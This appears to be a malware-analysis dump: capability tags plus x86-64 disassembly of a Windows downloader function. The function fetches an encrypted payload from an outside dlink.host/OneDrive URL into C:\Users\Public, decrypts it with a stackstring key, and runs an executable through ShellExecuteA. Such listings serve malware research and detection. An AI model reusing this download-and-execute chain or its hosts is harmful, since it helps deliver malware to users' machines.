Function at 0x140002f10
Capabilities:
Contain obfuscated stackstrings
Create http request
Create process on windows

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
lea rbp, [rax - 0x58]
sub rsp, 0x140
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rax, qword [0x140254f90]
xor rax, rsp
mov qword [rbp + 0x38], rax
mov rsi, rcx
mov rax, qword [str.https:__www.wrssuetrh.uk]
mov qword [rbp + 0x18], rax
mov rax, qword [0x1401bbad8]
mov qword [rbp + 0x20], rax
mov rax, qword [0x1401bbae0]
mov qword [rbp + 0x28], rax
movzx eax, byte [0x1401bbae8]
mov byte [rbp + 0x30], al
xor r12d, r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
lea edx, [r12 + 1]
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rbx, rax
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], 0x84000000
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x18]
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rdi, rax
test rax, rax
jne 0x140003136
mov dword [rbp], 0x38314235
mov dword [rbp + 4], 0x44413343
mov dword [rbp + 8], 0x52464338
mov dword [rbp + 0xc], 0x39334434
mov byte [rbp + 0x10], r12b
lea rcx, [rbp - 0x70]
call fcn.140001d60
nop
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x70], r12
mov byte [rsp + 0x60], dil
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, str.C:UsersPublicen.dat
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, str.C:UsersPublicen.dat
lea rcx, [rsp + 0x60]
call fcn.140001fc0
nop
mov qword [rsp + 0x50], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x48], r12
mov byte [rsp + 0x38], r12b
lea r8d, [r12 + 0x68]
lea rdx, str.https:__dlink.host_1drv_aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBa0ZQRnBaT2Q2d0FnbTNNa1Y2aDc3eUJtcDh4P2U9ekFsR0tq.dat
lea rcx, [rsp + 0x38]
call fcn.140001fc0
nop
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x38]
lea rcx, [rbp - 0x70]
call fcn.140002260
nop
cmp qword [rsp + 0x50], 0x10
jb 0x14000306e
mov rcx, qword [rsp + 0x38]
call fcn.1400081f0
mov qword [rsp + 0x50], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x48], r12
mov byte [rsp + 0x38], 0
cmp qword [rsp + 0x78], 0x10
jb 0x140003093
mov rcx, qword [rsp + 0x60]
call fcn.1400081f0
lea rcx, [rbp - 0x70]
call fcn.140001a60
lea r8, [rbp]
lea rdx, str.C:UsersPublicde.dat
lea rcx, str.C:UsersPublicen.dat
call fcn.140002af0
lea rdx, str.C:UsersPublicde.dat
lea rcx, str.C:UsersPublic
call fcn.140002be0
lea rdi, str.C:UsersPublic
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
lea rdx, str.BitTorrentEvernoteMouseTray.exe
xor ecx, ecx
nop
movzx eax, byte [rdx + rcx]
mov byte [rdi + rcx - 1], al
inc rcx
test al, al
jne 0x1400030e0
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r12
lea r9, [0x1401bad4b]
lea r8, str.C:UsersPublic
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
lea rcx, [rbp - 0x70]
call fcn.140001e40
jmp 0x140003148
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, 4
mov rcx, rsi
call fcn.14005cd34
mov eax, 1
mov rcx, qword [rbp + 0x38]
xor rcx, rsp
call fcn.1401517c0
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret